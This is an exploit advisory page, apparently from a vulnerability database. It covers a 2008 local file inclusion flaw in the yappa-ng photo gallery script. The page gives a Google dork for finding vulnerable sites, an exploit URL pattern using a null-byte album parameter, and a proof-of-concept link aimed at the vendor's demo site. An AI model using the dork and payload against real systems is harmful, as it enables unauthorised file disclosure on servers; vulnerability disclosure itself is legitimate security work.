yappa-ng <= 2.3.3-beta0 (album) Local File Inclusion Vulnerability

2008-10-21 / 2008-10-22
Credit: d00r
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

[o]------------------------------------------------------------------------------------[x] | Local File Include Vulnerability | [o]------------------------------------------------------------------------------------[o] | Software : yappa-ng Version 2.3.2 | | Vendor : http://www.zirkon.at/zirkon/scripts/yappa-ng/yappa-ng_main_eng.html | | Date : 19 October 2008 | | Author : Vrs-hCk | | Contact : d00r[at]telkom[dot]net | [o]------------------------------------------------------------------------------------[o] [&#187;] Google Dork "Powered by yappa-ng 2.3.2" [&#187;] Exploit http://[site]/[yappa-ng-path]/index.php?album=[LFI]%00 [&#187;] Proof of Concept http://www.zirkon.at/yappa-ng_demo/index.php?album=[LFI]%00 [o]------------------------------------------------------------------------------------[x] | Greetz | [o]------------------------------------------------------------------------------------[o] | All Member oF MainHack BrotherHood - www.MainHack.com - www.ServerIsDown.org | | Paman, OoN_Boy, NoGe, Fluzy, H312Y, s3t4n, NgL, ScanneD, }^-^{, eminem, | | loqsa, pizzyroot, xx_user, ^Bradley, ayulina, MaDOnk, nTc, dkk ... | | c0li.m0de.0n & BeHave oR BeGone !!! | [o]------------------------------------------------------------------------------------[o]

References:

http://secunia.com/advisories/32325


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top